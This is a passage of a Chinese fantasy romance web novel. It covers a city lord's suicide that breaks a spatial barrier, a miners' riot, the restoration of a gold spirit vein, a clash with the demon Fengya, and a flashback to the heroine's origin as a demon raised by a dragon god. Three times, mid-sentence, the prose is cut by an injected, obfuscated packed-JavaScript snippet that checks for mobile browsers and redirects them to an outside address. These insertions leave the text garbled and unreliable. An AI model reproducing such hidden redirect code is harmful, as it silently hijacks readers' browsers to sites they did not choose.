“不是我,是它。”孟仁看向沐云。“金矿大量的被我私下开采,又以焰蝶火系之阵克制金系灵气的力量,它便总是说灵脉毁了。待我再细问,它却是茫然之态了。” “该不会,吞金兽是金灵脉的守护妖吧?”花染看着眼神茫然地沐云,应若也顺势坐在沐云身旁,想要透过她的双眼,看清楚被禁锢在这躯壳中的那个生灵。 “不无可能。”杜嘉毅沉思着。 “孟城主,你这空间结界,要如何破?”应时问道。 “自是同其他结界阵法一般,杀了制造出这空间结界之物。况且,这焰蝶,本就是那魔族留下守阵的。”孟仁理所当然地说。 “可我们跟随你进入一扇扇门,见你似乎可以操控焰蝶。”杜嘉毅追问道。 “抱歉,也许那时候,我也是被控制的。毕竟我灵力低微,控制不了蝶妖。”孟仁闪烁其词。 “那现在呢,你也是被控制的吗?”应时突然诘问。 见孟仁避而不答,应若也问道:“只怕是孟城主舍不得死吧。焰蝶守阵,杀焰蝶,空间崩溃。而且焰蝶,并非魔族之物,是因为沐云喜欢蝴蝶,你才寻来的吧。 结界外,沐云的桌案后挂着一幅画,是一幅蝶恋花,画中的月季花盛开着,而那蝴蝶却模糊不清,想来正是这焰蝶吧。反观结界内,陈设未变,却唯独少了那幅图。” 杜嘉毅也道:“你是阵眼,魔族才放心,这一路不光有蝴蝶,还有你,我们是跟着你进入了这里。所以杀你,才是真正的破局之法。 守阵的焰蝶我们这一路上已经见过,当我们温和对待它,它会指引我们前行,当我们试图对抗它,空间内部便会产生异动甚至崩塌,而它也会被激怒进行无差别攻击,到时,所有人都会困死在这个空间。” 花染和墨悦悄然行至孟仁身后,防备他突然发难。 “是,我还不想死,还没亲眼看见枫崖死,我又怎么舍得死呢?”孟仁崩溃的怒吼,所有的不甘、煎熬、愧疚一齐涌现出来。 “事已至此,是我的命数到了。”孟仁顿了一下,似是又想起什么,拉住了杜嘉毅,恳切地说道:“对不住,杜小兄弟,先前沐月拉着你认亲,我没有阻拦,也没来得及告知你真相。 你应当不是她的孩子,她当时有两个孩子,一个恒字是哥哥,一个毅字是弟弟。有两只手钏是没错,但手钏具体样子的我未曾见过。她过了许多年漂泊无定的生活,身体也不太好了,记忆也有了些偏差,望你能谅解一个母亲。” 杜嘉毅听见哥哥和弟弟时,着实愣了一下,心念电转,“若是如孟仁所说,那师父没有骗他。 可那又如何呢,从未谋面的兄长,选择做什么样的人,走什么样的路,也都与他无关了。至于母亲,纵使依然陌生,纵使依然不能陪伴,他也会尽量经常书信,不让她担心的。” 孟仁继续说道:“孟某还有一事相求,望你们善待沐云和金瑞。”言罢一揖到底,而后抽出佩剑,自刎了。 几人阻拦不及,鲜血溅落的瞬间,孟仁终是笑了,笑他这一生,一半清醒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284322|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一半沉沦。笑他到最后,还有人、有妖愿意来救他。 每个结界交界处都燃起红蓝交织的火焰,逐渐形成了一个个火焰之门。结界已破,焰蝶振翅飞远,被困的人们终于得见真正的世界。矿工们纷纷归家团聚,多少笑与泪,恩与仇。 几人也并未全然相信孟仁所言,毕竟他受契约束缚。世间之事,真真假假。如果有人甘愿以一死,换一个相信呢。以死做局,生死不由己,皆为魔所驱。这样活着,着实煎熬。 新任城主是之前被困在空间结界之中的矿工首领孟思,他是孟仁的义子,他并不知晓这些是孟仁的私有,只是尽职尽责地做着重复而危险的事情。他曾带领着这群人躲避了许多次矿洞中的意外事故,每一次都走在最后,尽力庇护所有人。 新的一天,开始了。 紫阳山不再是最大的矿山,它东侧的紫金山,成了自空间结界消失后最大的金矿开采之地。 原本以为西原城会开始全新的生活了,却未曾想到,尽管已经给予了可观的补偿,一些被压抑被囚禁被剥削多年的人,意图报复,开始制造混乱。一时间,偷窃抢掠之事频发,却未能抓到罪魁祸首。 作乱者中,为首的男子名宋酌,他在结界初开之时,便和弟兄们偷藏了些开采出的黄金,打定了主意,要西原城乱起来,以赔他们这十余年的时间和心血。 在城中的富庶人家皆在不同程度耗损了钱财后,一日市集上,宋酌一人站在城门下大声吆喝:“黄金,抢到即得!”说罢将已经切割好的几袋金豆倾洒在地上,灿灿的金子滚动,人们奔跑着蜂拥而至,甚至有人因为一粒金子大打出手。 “这是我的?” “现在是我的了!” 一片混乱。 周围的将士意欲阻拦,却被人潮挤开。宋酌功成身退,无人在意他是谁。 宋酌并不晓得孟仁以他们的名义给家中寄过不少银钱和书信,只因他父母早逝,这些年送到宋酌家的钱财,尽数被他伯父花光了,他的家中依旧一贫如洗。 他一直认为孟仁私自开矿只为钱财,贪得无厌。所以,他要用相同的方式,再亲眼看清那些意图不劳而获、不义之财的人,看清他们为财争抢、相伤。 新城主孟思终于带着军队赶到制止,百姓们看着手上、身上因争抢不义之财而平添的混乱和伤痕,不由得羞愧难当,主动归还钱财。自然也有些人捡了便宜,趁乱逃脱。 孟思规劝宋酌,毕竟相识一场。只是他不理解,问道:“宋酌,你为何要这样做?” 宋酌哂笑一声:“想必,捡金子的人里,也有被我们这几天抢夺了财物的,这就当是还给他们了吧。 城主大人,您公务繁忙,我一介平民,只能通过这种方式见您。我不过是心有不甘罢了,你一出来就当了城主,可我呢?我的十几年又有什么回报,有什么意义?” “补偿的财物我早已拟好,只等悉数送至每一个矿工家中了,只是人手不够,最迟今日也该到了。你觉得不公平,不值得,也不能以伤害别人为代价,这有违天理!” “是啊,天理不容,那些死在矿山埋在山底的人呢,他们之中,好多都无父母亲人,不能就那样被遗忘,我记得,我也要所有人都记得,记得这贪婪、权柄与生命。 那便抓我去牢狱,判个刑罚,论个罪。我如今已过不惑之年,无立身之本,反有诸多困惑,也不过是苟活。 当年,我是跟着你来采矿的,我只问一句,城主大人,当真不知,孟仁所为吗?” 昔年已逝,金屋成空。 18. 万丈光芒 “我孟思对天起誓,对此一概不知。” “好。全城百姓都是见证。记得给他们修建墓碑。”宋酌转身,主动跟着官兵走了。 “孟思不知情?”墨悦颇有些不相信。 “他只是个普通人,他没说谎。”应时肯定地回答。 “唉,世事难料,何至于此。”沐云,也就是金瑞感叹道,六人在一旁的屋檐下旁观了整个过程。 出了结界后,也许是不再有火的克制,金瑞也恢复了神智,恢复了她原本的样貌。她的灵力也有所增强,能够如寻常人一样生活了 她最喜欢和同是金系灵力的杜嘉毅待在一起,今日他们一同出门,便是因为金瑞。她言语清晰地说:“我们去望城山吧,恢复金灵脉。” 连绵的山脉正中央,有一座高耸入云的山,叫做望城山。山顶有一个已经荒弃的寺庙,叫做天宫寺。 “金灵脉的中心便是在此。”金瑞带他们走入天宫寺,寺庙院落凋敝,栏杆皆已生锈,寺内并无供奉的佛像,各处都蒙着一层厚厚的尘土,显已久无人至。 “冥冥之中,时机已至,命运终会将我推到应该走上的道路。想来,这就是我必须要做的事了。 恢复金灵脉,是我的传承使命,从前我因为怕孤单,才从山中离开到了城中,没想到造化弄人,如今我也应该承担属于我的责任。” 金瑞双手结印,口中念道:“铅华凝尽,御金归真。”霎时间,万丈光芒穿云破雾,金光拂晓,寺院焕然一新般地露出了真容。深红栏杆,青灰高墙,正殿中供奉着一樽金像,那是一樽吞金兽的形象,俨然同金瑞的本相很是相像。 金瑞朝他们微微一笑,“金灵脉已经恢复,一方阵门已成,我将以我之灵守此灵脉不息。我与诸位的缘法到此圆满,愿你们前路顺遂。”言毕,她的身影便化作金光远去,与耀眼的灵脉之光融为一体。 从这阵中心向外看,金色的光晕渐渐的笼罩了这片连绵山脉,形成了一个以望城山为中心的循环,光芒闪耀了片刻,之后便渐渐淡去,沉淀了。 “这就成了?”墨悦看着这旷世奇观,不敢置信。 花染犹自伤感着,“怕孤单,最终还是孤单。” “总觉得太过顺利了。”应若轻声说。 “顺利?应若姐,你对顺利有什么误解吗?”花染绕到应若身前,想看看她是不是在说笑。 “合情合理,按部就班。的确算是顺,就像是有一只无形的手,一路引着我们。”应时说道,“按说,魔族对西原城势在必得,却一直没有出现,不知所谋为何。” “来了。”墨悦猛然转身,妖力凝链,破空击向斜前方。只见那处魔气波动一瞬四散开来,枫崖一身青白道袍,周身却是黑色的魔气涌动着。 几股灵力也先后如潮水般汹涌袭向枫崖,刀剑、锁链、枪身,一招一式都是试探与锋芒,潜藏杀机。步伐交错间,枫崖被乾元剑划破了手臂,青白衣衫渗出些微血色,再缓缓止住。 在停顿的片刻之间,应若凝眸,略有疑惑地看向应时,不知为何觉得枫崖这力量的波动有些奇怪,和见过的其他魔族不大一样。 应时也点了下头,斟酌道:“他是有些奇怪,魔气的波动依旧循着妖族的方式,倒是有些像你。” 应若恍然,继而微笑扬眉,“大概他原本是个树妖,这就好办了。”在树妖一族的审判力量下,他应当是逃不掉的。 “无念无想,灵动消长。法度无量,判心所向。”应若双手结印,墨绿色的审判之力顷刻间笼罩住了枫崖,他被困在由自己本相枝叶铸成的牢笼之中。间隙的微光中,枫崖与应若相望,他的眼神波动挣扎了一瞬,随即变得空茫。 “问吧,树妖一族的审判之下,不得有假。尽量快些,只能困住他一会儿,魔族应当还有后手。”应若不着痕迹地后退了几步,把审问的机会留给他们。 真实的原因是,她的妖心之力没恢复,妖力愈发不济,用高深一些的法术实在是有些勉强。一不留神,应若在退后时竟是被身后的一块石头绊了一下,她身形只是微微晃了下,应时却像是有所感应一般侧眸,再一闪身,轻巧地从侧后方扶住了应若的肩膀。 “小心些。”应时说完,见应若示意无事,便才去枫崖那边了。 三人依次在问:“你来这里做什么,听命于谁?” “找你们。我自己。” “西原城矿山的种种,都是受你的指使吧?” “是。” “魔族还有一股势力,你知道他们如何吗?” “不知。” 应时问:“你见过我师父时与,杜嘉毅的师父杜风吗?” “只见过杜风一次,在辰光山。” “灵言之术,囚禁妖族,皆是你所为吗?” “不是。” 应若缓了缓,走上前同应时并肩。这时,漆黑的魔气忽而弥漫了枫崖的整个身躯。不远处又有魔族出现了。 在审判之笼被冲破的同时,应时一剑斩下,灵力穿透了枫崖左胸口,枫崖不以为意地抹去唇边血迹,“魔无心。” 几人见状再度攻了上来,枫崖和几个魔族疲于抵挡,他的手臂上又留下一道伤痕,一截衣摆也被割下,掉落在地上。枫崖自知不敌,也再顾不得其他,回头看了一眼,施展隐匿之术,便匆忙带领那几个魔族逃离了。 应若却是有些走神,在审判的时候,她竟在压制他力量的瞬间,在他眼眸的波动中看到了他的记忆深处。那是可能连他自己都已经忘记的,遥远从前。 “他原本,是棵枫树啊。”应若低喃。 枫崖是一棵长在崖边的枫树,那年秋天,他刚刚生出灵识,就有人走进了他的世界,是应若和应时。 他们封闭了崖底深渊,阻止这里的魔气溢出,也救了许多被魔气伤害的妖。累了的时候,他们也会背靠着树干休息。 看着二人潇洒自如,从容不迫的样子,他心里很是感激崇拜,很想跟随他们一起。于是,他拼命地晃动树叶,洒落了一地金黄或火红,像是散落满天的星辰,熠熠生辉。 一片金红的枫叶正巧落在应若掌心。“是个小枫树妖,叶子倒是很漂亮,可还不会说话呢!”应若打趣道。 应时只笑着看着她,随后略一垂眸,在忽然而至的大风中,模糊而轻声地说着心意:“不如你。” “你说什么?”风声带走了刻意压低的话语,应若只看见他嘴角微动,却不知他说了什么。 那一念流转的记忆里,藏着谁的期盼,谁的欢喜。 “没事吧,怎么魂不守舍的?”应时关切的声音传来,应若眨了眨眼,只是说:“我刚已经休息了一会儿,没事的。只是审判的时候,我好像看到了些他以前的记忆。在他成魔之前,还是个妖的时候。看起来,和今天的他,完全不同。 不过他来找我们,是要阻止我们恢复灵脉吗?看来我们和他之后还会再遇见。” “魔族为了增强力量,在各地作乱。单这一个金灵脉之地就已经被毁坏成这般,其他四个地方恐怕更是难以预料了。”墨悦也道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292163|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是啊,魔族是意欲控制灵脉所在之地。”应时接上,而后又缓下步伐,同走在后面的杜嘉毅并肩,“明日我们就要走了,别忘了和沐姨好好道别。”杜嘉毅笑着说好,他是真的接受一切了,自然会珍惜所有。 应时说完,又快走几步赶上应若,一起下山去了。 回到城中,已是傍晚,天忽然阴沉起来,下起了小雨。杜嘉毅说回去陪沐月,大步回去了。墨悦和花染则说要去听书,二人便也笑着手牵着手跑开了。 杜嘉毅回到杜府,沐月正等在院中的亭子里,见他回来,很是欢喜地迎过来,上下仔细打量,嘘寒问暖。 杜嘉毅明白认亲之事是假,与魔族蓄谋串通好的,是真。但那也都是孟仁所为,沐月不过是一个的母亲,他面对着这份陌生的关心,有些许的无所适从,但更多的,却是想要落泪的冲动。 或许是因为,这样直接明了的、坦诚无比的爱,总能让人感动。又或许,是真正的母子连心。 杜嘉毅平生第一次吃着有人特地为他准备的饭菜,只觉无比美味,是家的味道。他也不时地给沐月夹菜,和她说说这几天发生的事情。 最后,他终于叫出口:“母亲。” 沐月红了眼睛,连声应道:“我的孩子,回家了。”二人相拥在一起,久久不分开。 “我知你心中有大义,去吧,娘支持你,在这里等你回来。” “好。” 花染和墨悦这边,在茶楼听戏。这一回,讲的是天地初开之时,龙神与魔的故事。 “话说这女魔头,妖娆妩媚,长裙曳地,轻纱漫舞,所过之处,生灵涂炭。 一日她在树下,瞧见一个丰神俊逸的男子,正小心翼翼地为妖和一些不知名的小兽疗伤,不曾嫌弃他们身上的尘土,不曾在意他们的躲避,不曾恼怒他们有意或无意地试探,只是专注地做着自己的事情。 她以为神明无欲无求,无情无爱,却未曾想,神是这般的。她不禁想,既然如此,那他对魔会是如何呢?时间生灵皆避我如蛇蝎,那他呢? 于是,她自树木的阴影中走出,将自己伪装成一个无辜受伤的小树妖,缓慢地行至他身后某处,状若无力般跌倒在地。” “诶!”台下众人皆是为这俗套的情节而不满,七嘴八舌地议论开来,“龙神大人定然是不会被着女魔头迷惑的”、“神魔势不两立”…… 说书的先生无奈一拍案几,伸手示意大家安静,“罢了,既然诸位不爱听这个,那在下快些讲完便是。” “那女魔头意图诱惑龙神,怎知这一切早已尽在龙神的掌控之中,一切种种,皆是他故意引魔入局。 最后的结局,龙神趁其不备,一剑刺入她心口,那女魔头便就此消失了。” “这才对嘛!”台下响起热烈的掌声,欢呼着这个结局,魔就该被除掉。 花染和墨悦并不在意故事的细节,倒是想到了另一桩事,“应龙大人真的曾与魔族女子有过交集吗?” “不如,找个机会,我们同应若姐悄悄打听一下?”墨悦和花染对视一眼,打定了主意。 说书先生接着又讲起另一个故事,“话说上古大战中,有一位龙神,和三位大妖在战局中举重若轻。其中一位树妖大人,我先前已经讲过,今日我给诸位细说这另两位妖族的将领。一位是朱厌,一位是桃木妖……” “你的先祖是朱厌,那桃木妖,会是你诞生地的桃木吗?”花染不禁心生好奇。 “或许吧。” 一方光芒,一顷万丈。 19. 千回百转 雨滴滴答答,从檐角落下,溅起一片片水花。 应若和应时并肩站在屋檐下,看着一把把颜色各异的油纸伞在眼前撑开,再旋转着擦肩而过。 “在镜像阵中,我的幻境里也有像这样的景象,也有你。”应时望着雨幕,轻轻笑了。“那时你撑着一柄伞,又递给我一柄伞。只不过非晴非雨,是个阴天。” 应若有些意外,侧首正欲说些什么,一名男子匆忙地跑进来避雨,他没留意,直直地向着应若身后冲了过来。应若正要回头看,应时一手揽过她肩头,另一只手虚虚挡在她脑后,以一个环抱的保护姿态,脚下挪了几步,带着应若旋转了开来。 应若也下意识地在他身后竖起一道守护屏障,雨水被挡了下来,应时的衣袖没便有被溅湿。同样,应若也没有被撞到,也没有让水滴溅湿一丁点儿。只是,他们之间的距离,有些近了。 雨如珠帘,衣摆在旋转间交叠,应若抬眼凝视着应时的双眸,那是一片星河浩瀚,无垠光影间,她好像看见了那个甘愿停留在原地的自己,也听见了和雨声交错呼应的心跳。 应若轻轻眨了眨眼,放开不知何时拉住的应时的衣襟,应时也缓缓收回手,掩饰一般拂了下衣摆,接着先前的话继续说道:“我母亲曾经说,送伞的寓意不吉利,会离心会分散。因为她曾经给我父皇送过一柄伞,但后来,伞被摔坏了,情也磨灭了。所以,幻境里,我没有接伞,也察觉出了虚幻。” 应时微微仰起头,向前几步站在了雨中,轻声说:“所以我宁愿不要撑伞,如果这样就可以不离散。”他也没有用法术遮掩,就那样直直地站着,雨很快打湿了他的衣衫,像是谁留过的泪。 一柄伞举过他的头顶,遮住了雨帘。应时侧眸,对上了一双带笑的眼,“这就是你的不对了,人间数年,你没看过话本吗?有一个叫《白蛇传》,我最近才看完,很好看的。在那里,伞是缘。” “是了,我也看过的。”应时也握上了伞柄。她们的缘与分,他定当珍惜。 “这次记清楚了,在我这里,伞不是离散。”应若目光流转,接着道:“是风雨兼程,同舟共渡。” “好。”应时接过伞,二人并肩,同撑一柄伞,走进了风雨。 许是日有所思,夜有所梦,应时又一次来到梦境中。梦里,也是个雨天。 入眼是一片荷塘,荷花开得正好,在雨的浸润和洗礼中,色彩愈发的艳丽欲滴。有雨滴沿着起伏的荷叶旋转跳跃着,浸润着片片绿意和浅粉,再融入雨里、水里。 一个藕粉色衣衫的女子席地而坐,斜倚着一株柳树。应时心知,那是应若。 柳枝虽多,但还不能够遮风挡雨,淅淅沥沥的雨渐渐落在了她身上,她也只是慵懒地半睁着眼,不闪不避。 “怎么都不避雨?”一名男子走近。应时想,这应该是应龙了吧。只是无论他如何努力睁大双眼,却还是看不清应龙的面容。 应若只是略有倦怠地缓慢抬眼,“累了。” “那我们一起吧。”应龙看着她,也一撩衣袖,坐在她身旁,斜倚着树干。 就这样待静静的待了一会儿,一片荷叶被风雨刮落,正巧掉落在应时手边。 “这荷叶很大,试试拿它遮雨。”应龙说着便将这片荷叶举至二人头顶,大小刚刚好。 应时仿佛也身在其中,从应龙的角度,同看着这一隅的风光。 他看得出,这场雨来的时候,应若似乎是体内有魔气,刚刚正是因为克制魔气而疲惫。 当荷叶挡在头顶,一起在同一片荷叶下,静听雨声点滴,看花叶飘逸,心绪是开阔和静谧。 不久,雨初歇,天初晴。 应时在这一场梦里,清晰地感受到了这份宁静,不觉间忘记了那些疲惫和伤痛,也忘记了时间的流逝。在一场雨里,心有所依,什么也不说,什么也不做,就很惬意。 浅金色的阳光将如水的薄雾氤氲,应时只觉梦境过后无比清醒,抬手正欲叩响应若的房门,门恰好从里面打开了,二人相对而立。 应若轻柔地笑了,“没有赖床,走啦。”看着应时,她心想,时光正好,不然,找个机会表白吧,她不想再浪费时间了。巧的是,应时感受着自己如被清风拂过的心海,也是这样想的,只待一个时机了。 “你的小树枝,能让我再看看吗?”应时表情无比真诚。 “你!”应若不自觉睁大双眼,顾盼间一转头,“哼,想得美!”她轻巧地跑开了,脸上带了些红晕。 应时自然是笑着跟上。 拜别了新城主和相送的百姓,五人在下一处驿馆停下。一个小孩子不小心被人群挤向他们这边,应若伸手扶了一下,一个纸条顺势递到她手中,那小孩道谢后便匆匆跑远了。 待一行人到了房中,应若立刻布好守护结界,再展开字条,上面写着,“魔族轮回经可窥与魔有关的过往,但需做出正确的选择。” 应若从袖中拿出一个金色的像转经筒一样的物件,这是在望城山时从枫崖袖中掉落之物。 那时枫崖逃走,回头望了一眼,目光所落是地上的一截衣摆,应若便用妖力将那下面的掩藏之物谨慎地封好收进了衣袖里。 “这又是谁,是好意要提醒我们吗?”花染疑惑地皱眉。 墨悦也提出自己的问题:“我们的过去,多远的过去?有和魔气相关的部分吗?什么又是正确的选择?” “按这纸上的意思,轮回经能够见证从灵魂诞生开始、和魔气产生过的交集。至于最后,应当是要做我们认为正确的选择。”应若一手支着头,一手轻轻拨转着桌上的转经筒。 “累了?”应时侧眸看来。 “嗯?还好。”在花染和墨悦揶揄的目光中,应若顺势趴在桌上,侧首望向应时:“你先看看,这里面是不是有魔气。” 应时仔细地看着轮回经上面的六字真言,感受到经筒内部的经文已然被魔气浸染,“被魔气侵蚀的转经筒已不再是它原本的样子,其中或有陷阱。” “如果和魔族从未有过交集,就不会有事情了吗?”杜嘉毅思虑着。 “啊不行,这样一个法器,我总觉得它在诱惑我转动它,进入它的世界。”花染紧紧闭上眼睛,又用双手捂住耳朵。 “来看看你的过去吧,你会想要来看看的。记起来,然后更好的认清自己。” 应时好像也听见有声音在耳边这样说着,便就觉得看一看,或许也没什么,只要选择对了就好了。 “你的记忆是不是有一段空白,你不觉得奇怪吗,你不想知道自己为什么那么抗拒不死树这个名字,从不愿与他人说吗?” 听着这声音,应若便也想,如果能有所得,冒险一试也是值得的。 “进去看看也无妨,或许能知道更多关于魔族之事。”应若说着就要拿起轮回经。 “等等,还是我去。”应时抢先一步将轮回经拿在手里,以灵力转动了经筒,应时便在瞬间被卷了进去,应若伸手想要拉住他,却不敌轮回经的牵引之力,也被吸入其中。 “他们就这么、进去了?”猝不及防间,余下的三人震惊不已,决意守好这轮回经,等待二人平安归来。 “果然,我的最初,是魔啊。”只一眼,应若便了然。 荒芜的土地上,不死树被魔气笼罩,迅速生长,枝干一片漆黑斑驳。倏然间,化形成一个黑色衣裙的少女。少女跪坐在树前,呆呆的注视着手中不断挣扎的小鸟。 它在哀哀地鸣叫,不知何时折断的翅膀渗着鲜红的血,沿着少女苍白而纤细的指尖滴落。她好似受到惊吓一般,将手中的小鸟一把扔到地上,视线却还直勾勾地盯着它,眼睁睁看着它挣扎的幅度逐渐变小,叫声也渐渐低了下去。最后,终于没有气息,不再动弹了。 一个人影走近,是应龙。视线扫过还在发呆的小树妖和刚刚死去的小鸟,他蹲下身,视线与少女平齐:“小树妖,是你伤了这只小鸟吗?” 树妖看向应龙,悄悄将染血的手缩进袖子,无师自通地用法术清除掉血痕。紧接着摇头又点头,犹疑试探着开口:“我,我不知道,好像是我。” “别怕。”应龙伸出手,“你只是还没学会控制自己的力量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297402|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以后我教你。我们先去把它安葬了吧,跟我走,好不好?”新生的魔,心思异常的好懂,你对她好,她便会对你好。 她看向眼前,这手掌看起来温暖有力,握住的话,握紧的话,或许可以。她缓缓抬眼,直直地看进应时的眼中,那目光温柔又强大,克制而慈悲。 也许无论是人是妖,是神是魔,都要生活,都会对自己不曾见过或拥有的事物感到好奇,想要了解。于是,她搭上自己的手,顺着温柔的力道起身,和着他刻意放缓的步伐,与他并肩行走。 他们一起埋葬了小鸟,为它用木头刻了一块碑,“你来写吧。”应龙将刻刀递到她手中。 “我不会。我,想说对不起,然后为它做些什么。” “好,那我带你一起写,记好了。”应龙握住她的右手,带着她一笔一画的刻下,“被不死树妖无意伤到的一只小青鸟。” 木碑最右侧还密密麻麻刻了一排小字,“树妖感到很抱歉,希望能得到原谅,愿尽所能补偿。” “跟我拜一拜它吧,这是礼节。”她们拜过后,便离开了。 这一天,她遇见了神明。她以为,那是她的神明。然而,神明之心,在于广阔天地。 天地中有她,但若因她而毁了天地,他定然是不会坐视不理的。 “小树,做魔也会时常痛苦吧,想不想变成普通的妖?只要你潜心修练心法,就可以不做魔了。” “别再骗我了,我和你本就不一样。你是神,我是魔,我为什么要听你的。清静心法,我不想学,更学不会。” “或许你不记得了,但我不会忘。你若不是以庇护之心对抗魔气,也不会被魔气所伤。你的本心并非如此,你只是还没来得及生长出自己的意志,便被侵蚀了心脉。如果不是你的庇护,我也许会死、会成魔也说不定。 相信我,无论你是妖是魔,我都当你是我的挚友。” 相信?她静静地望着他澄明的眼,可他明明,是要杀她的,或早或晚。 一个神,在试图教养一个魔。他教她道理,心法,剑术。或许因为都是彼此最初的遇见,意义总归有些不同。 应若释然地笑了,她想起来了,那些她做魔的时光,那个时候,应龙也是个新生的神,还没有给自己取应时这个名字,也还没给她取应若这个名字。而那只青鸟,是青鸾的母亲。 应龙带她走过许多地方,见了许多风景,他们,成了可以互相信任的同伴,至少,在最后一刻来临前。 也许这相信里夹杂了许多其他的东西,但那不重要,神与魔一起,日子久了,也就习惯了。 就这样,她慢慢的认识了这个世界,也认识了自己,学会了相信,学会了隐藏,学会了原谅,学得像他一样。如果生命终将消亡,这样,也不枉来这一趟。 她最初为了活命,装成柔弱无辜的样子,自以为成功骗过了他。她只有在他监督的时候才应付着修习灵气,其他的时候,修习的其实都是魔气,从来不是正道。因为只有修习魔气,才不会痛。 可是,每当看到应龙看到她学不会心法,也从不表现出失落或焦急,只是一遍又一遍地讲,一次又一次地示范,日复一日,年复一年,从无间断。 最初,她想看看他能坚持多久,渐渐的,她不愿再辜负了。她会用心去学,疼痛又有什么关系呢?一切都是修行,这样他就能去做更多的事情吧。 那时候的生灵都知道,有一位树魔,看似冷若冰霜,魔气缭绕,但内心很温柔,会给他们治伤,一点都不可怕。所以,这也许是后来,有些妖对魔族并无敌意,甚至选择跟随魔族的原因。 只是,她没想到的是,随着灵气的累积,她体内魔气也在增长,她唯一能控制的,就是自己的心神清明。他们走过了许多地方,救过一些妖兽,也杀过一些邪魔。 直到有一天,她失去了意识。那一天的经过她已经不记得,只是当她再度恢复清醒的时候,一切已经恢复平静,就好像她只是如同平常一样睡了一觉,什么都没有发生。 天地初时,千回百转。神魔之路,交错相生。 20. 不问不说 应龙说她只是无法自控陷入了昏迷,但她清楚的知道,不、不是的。她头痛欲裂,口中还残留着一丝血腥的味道。 “神血,他可真是舍得。我刚一出现,他就发现了不对,引了心头血救你。”她体内魔气愤愤着,已然有了自我意识,此时被神力所伤,正是虚弱的时候,应若忍着疼痛,趁此机会将魔气压制并封于心脉。 那天失去意识之前,是他惊痛的眼。 那时,她与魔气在争夺对身体的控制,在争锋要不要杀了应龙,一干二净。 她背在身后的右手,掌心蓄积着一团浓重的魔气。她的意识已是混沌凌乱,识海中有两个声音在吵:“他的目的是除魔,但我不想死,那不如先下手为强。” “不、不是的。”微弱的声音无力地颤抖着,反驳着。 可是,为何这般苦苦挣扎呢?为何迟迟下不了手呢?魔气在她掌心聚了又散,散了又聚。 应龙自修炼中张开眼,便见应若恍惚的眼、紧皱的眉,和颤抖的手。他当即扶住她的手臂,以剑引了心头血,送入她口中。 神血入口的瞬间,她倏地落下泪来。“好苦啊。”她睁着朦胧的眼,喃喃道。 她勉力克制住自己识海的动荡,“算了吧,看在他还算顺眼的份上,饶他一次。日后,他要杀她的时候,再光明正大的打一场也不迟。 不如,找个机会逃离吧。这样,就都不会为难了。” “怎么样?”是应龙焦急的声音。 她苍白着脸,对着应龙轻飘飘地笑了笑,又看似用力地挥了挥拳,便疲惫地软到了下去,跌落在了应龙怀中。 神血,同他的乾元剑一样,有清心镇魔之力。他应该一剑杀了她才是,树下神与魔的相遇,最终也应当以魔的伏诛为结束。 她没问,他也没说。这是他们心照不宣的默契,因为一个给不了答案,一个给不了永远。 但她知道,即便依靠神血的力量,也压制不了太久了,自在安然地过了这许多年,足够了。她的时间,不多了。 那天过后,一如往常。一天夜里,应若听见了远方有浓重魔气的呼唤,于是她便悄悄地离开了。 那是一只被魔气侵蚀,遍体鳞伤的白猿,它已经有了灵性,但还未生出灵识。它的身后,是一株刚发芽的桃树。 它挣扎着,把自己的头用力地撞向地面,直到用尽所有力气。它清晰地感觉到鲜血与尘土带来的疼痛,这疼痛让它清醒,让它知道它还是它,它还活着。 应若看它这样痛苦的样子,为了活着而努力不放弃,为了清醒地活着而挣扎。她想,那她也会坚持到再也不能坚持的时候吧。 于是双手抬起,悬于白猿的头顶。 “收—” 一瞬间,魔气仿佛找到了更好的归处,倏的一下,魔气迅速被应若尽数吸走,它身上的伤也自然愈合了。 白猿似有所感,激动地又磕了几下头,而后便又守着它的桃树去了。 夜静谧,应若独自仰望着星河。这里,离应龙很远了吧。最后一天来临之前,她不想和他一起了。这段路,她想自己走。 这样,就不用在他面前,变成连自己都不认得的模样。这样,也许可以相忘。 于是,她隐匿了气息,一个人自由自在地走着。第二日,她很意外,应龙竟找来得这样快,以至于她慌忙躲藏在一棵葡萄树上。 她屏息凝神地看着他找来了那只白猿,一路匆匆而来,自她眼前经过,恰于这棵树下停留休憩。 望着应龙无果而去的背影,她轻轻舒了口气,转身朝着反方向离开了。应龙忽而若有所觉地回望,身后仍然一片空荡。 唯有那棵葡萄树,落了一片叶。 山中的另一片葡萄树下,应若身边围着几只毛色各异的狐狸幼崽,她试探着伸出手,一只毛色赤红的小狐狸大着胆子一个飞扑,应若立时抱了个满怀。 